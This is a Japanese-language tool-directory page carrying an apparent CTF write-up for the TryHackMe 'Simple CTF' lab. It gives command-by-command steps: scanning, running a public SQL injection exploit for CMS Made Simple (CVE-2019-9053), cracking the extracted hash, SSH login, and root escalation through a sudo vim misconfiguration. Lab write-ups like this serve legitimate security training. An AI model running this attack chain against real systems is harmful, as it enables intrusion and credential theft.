Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Simple-CTF-Writeup — TryHackMeのSimple CTFのプロフェッショナルなウォークスルー。列挙、CMS Made SimpleのSQLインジェクション(CVE-2019-9053)、認証情報の回復、SSHアクセス、Vimによる権限昇格、ルート権限の掌握を網羅しています。 | Kitploit
ツール/GitHubGitHub/imperialx1104/simple-ctf-writeup
パスワードクラッキング特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubimperialx1104/simple-ctf-writeup

Simple-CTF-Writeup

TryHackMeのSimple CTFのプロフェッショナルなウォークスルー。列挙、CMS Made SimpleのSQLインジェクション(CVE-2019-9053)、認証情報の回復、SSHアクセス、Vimによる権限昇格、ルート権限の掌握を網羅しています。

2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

Simple-CTF-Writeup

TryHackMeのSimple CTFのプロフェッショナルな攻略記事です。列挙、CMS Made SimpleのSQLインジェクション(CVE-2019-9053)、認証情報の回復、SSHアクセス、Vimによる権限昇格、root権限の奪取までをカバーしています。

TryHackMe - Simple CTF 攻略記事

TryHackMeのSimple CTF ルームの完全な攻略チュートリアルです。偵察、列挙、エクスプロイト、認証情報の回復、権限昇格、フラグの取得までを解説します。


ルーム情報

項目値
プラットフォームTryHackMe
ルーム名Simple CTF
難易度簡単
カテゴリWebアプリケーションの悪用 & Linux権限昇格
作成者Saahil Gupta (ImperialX1104)

目的

このルームの目標は次のとおりです:

  • ターゲットマシンの列挙
  • 隠れたサービスとアプリケーションの発見
  • 脆弱性のあるCMSの悪用
  • 認証情報の回復
  • SSHアクセスの取得
  • rootへの権限昇格
  • 両方のフラグの取得

攻撃の概要

root@kitploit:~
Host Discovery
      │
      ▼
Port Enumeration
      │
      ▼
Directory Enumeration
      │
      ▼
CMS Discovery
      │
      ▼
Version Identification
      │
      ▼
SQL Injection (CVE-2019-9053)
      │
      ▼
Credential Extraction
      │
      ▼
Password Cracking
      │
      ▼
SSH Access
      │
      ▼
User Flag
      │
      ▼
Privilege Escalation
      │
      ▼
Root Flag

偵察

ホスト発見

最初のステップは、ターゲットマシンへの接続を確認することでした。

コマンド

root@kitploit:~
ping 10.49.175.174

結果

ホストは正常に応答し、到達可能であることが確認されました。

スクリーンショット

Ping Scan


ポート列挙

公開されているサービスを特定するため、包括的なNmapスキャンを実行しました。

コマンド

root@kitploit:~
nmap -A -v 10.49.175.174

結果

ポートサービスバージョン
21FTPvsftpd 3.0.3
80HTTPApache 2.4.18
2222SSHOpenSSH 7.2p2

注目すべき発見

  • 匿名FTPログインが有効
  • Apache Webサーバーが稼働中
  • ポート2222でSSHが公開
  • robots.txtファイルを発見

スクリーンショット

Nmap Enumeration


Web列挙

ターゲットのWebサーバーにアクセスすると、デフォルトのApacheランディングページが表示されました。

URL

root@kitploit:~
http://10.49.175.174

スクリーンショット

Apache Default Page

この段階では、明らかな攻撃対象は見当たりませんでした。


ディレクトリ列挙

隠れたリソースを特定するため、FFUFを使用してディレクトリのブルートフォースを実行しました。

コマンド

root@kitploit:~
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200

結果

root@kitploit:~
simple [Status: 301]

スクリーンショット

FFUF Enumeration

/simple という名前のディレクトリが発見されました。


CMSの発見

発見したディレクトリにアクセスすると、CMSがインストールされていることが明らかになりました。

URL

root@kitploit:~
http://10.49.175.174/simple

スクリーンショット

CMS Made Simple

特定されたCMS

root@kitploit:~
CMS Made Simple 2.2.8

このバージョン番号は、後で重要になることが判明します。


脆弱性調査

CMSのバージョンについて、SearchSploitを使用して調査しました。

コマンド

root@kitploit:~
searchsploit "CMS Made Simple"

結果

root@kitploit:~
CMS Made Simple < 2.2.10 - SQL Injection

スクリーンショット

SearchSploit Results

既知のSQLインジェクションの脆弱性が特定されました。


エクスプロイトの入手

分析と実行のために、エクスプロイトをローカルにコピーしました。

コマンド

root@kitploit:~
searchsploit -m 46635

出力

root@kitploit:~
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

スクリーンショット

Exploit Download


エクスプロイト

公開されているエクスプロイトを、ターゲットのCMSインスタンスに対して実行しました。

コマンド

root@kitploit:~
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt

認証情報の抽出

エクスプロイトは、バックエンドデータベースから情報を正常に抽出しました。

出力

root@kitploit:~
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

スクリーンショット

Credential Extraction

取得した情報

項目値
ユーザー名mitch
メールアドレス[email protected]
ソルト1dac0d92e9fa6bb2

パスワードクラッキング

抽出したハッシュをHashcatを使用してクラックしました。

コマンド

root@kitploit:~
hashcat -m 20 hash.txt --show

出力

root@kitploit:~
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret

取得した認証情報

項目値
ユーザー名mitch
パスワードsecret

スクリーンショット

Hashcat Password Recovery


初期アクセス

取得した認証情報をSSHサービスに対して試しました。

コマンド

root@kitploit:~
ssh [email protected] -p 2222

パスワード

root@kitploit:~
secret

結果

root@kitploit:~
Welcome to Ubuntu 16.04.6 LTS

スクリーンショット

SSH Access

認証に成功し、ユーザー mitch としてシェルアクセスを取得しました。


ユーザーフラグ

アクセスを取得した後、ユーザーフラグはMitchのホームディレクトリにありました。

コマンド

root@kitploit:~
whoami
cd ~
cat user.txt

出力

root@kitploit:~
G00d j0b, keep up!

スクリーンショット

User Flag


権限昇格

sudoの列挙

sudoの権限を確認すると、興味深い設定が明らかになりました。

コマンド

root@kitploit:~
sudo -l

出力

root@kitploit:~
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

スクリーンショット

sudo -l Output

この設定により、ユーザーはパスワードを入力せずにVimをroot権限で実行できます。


rootアクセス

Vimをrootとして起動:

root@kitploit:~
sudo vim

Vimが昇格した権限で実行されていたため、rootが所有するファイルへのアクセスに使用できました。

スクリーンショット

Root Access via Vim


rootフラグ

rootフラグはrootユーザーのディレクトリにありました。

コマンド

root@kitploit:~
:! cat /root/root.txt

出力

root@kitploit:~
W3ll d0n3. You made it!

スクリーンショット

Root Flag


取得したフラグ

ユーザーフラグ

root@kitploit:~
G00d j0b, keep up!

rootフラグ

root@kitploit:~
W3ll d0n3. You made it!

攻撃チェーンのまとめ

root@kitploit:~
Nmap Scan
    ↓
Web Enumeration
    ↓
Directory Discovery (/simple)
    ↓
CMS Made Simple 2.2.8
    ↓
SearchSploit Research
    ↓
CVE-2019-9053 SQL Injection
    ↓
Credential Extraction
    ↓
Hash Cracking
    ↓
SSH Login (mitch:secret)
    ↓
User Flag
    ↓
sudo -l
    ↓
Vim Privilege Escalation
    ↓
Root Flag

学んだ教訓

列挙が重要

脆弱性のあるCMSはホームページに表示されておらず、発見にはディレクトリ列挙が必要でした。

バージョンの特定が重要

CMSの正確なバージョンを知ることで、既知の脆弱性に直接たどり着けました。

認証情報の再利用

取得した認証情報は、利用可能なすべてのサービスに対して常に試すべきです。

sudoの設定ミスは危険

Vimのようなエディタの特権実行を許可すると、システム全体を完全に乗っ取られる可能性があります。


使用したツール

  • Nmap
  • FFUF
  • SearchSploit
  • Python
  • Hashcat
  • SSH
  • Vim

結論

このルームでは、初期の列挙から完全なroot権限の奪取に至るまでの、完全な攻撃チェーンを体験できました。Webアプリケーションの列挙、SQLインジェクションの悪用、パスワードクラッキング、Linuxの権限昇格のテクニックを組み合わせることで、ターゲットシステムの完全な制御を達成しました。

このルームは、実世界のペネトレーションテスト手法への優れた入門編であり、適切なソフトウェアのパッチ適用、認証情報のセキュリティ、最小権限のアクセス制御の重要性を強調しています。


作成者

Saahil Gupta (ImperialX1104)

  • GitHub: https://github.com/ImperialX1104
  • TryHackMe: ImperialX

⭐ この攻略記事が役に立ったと思ったら、リポジトリにスターを付けていただき、GitHubでつながっていただけると嬉しいです。

ツールをダウンロード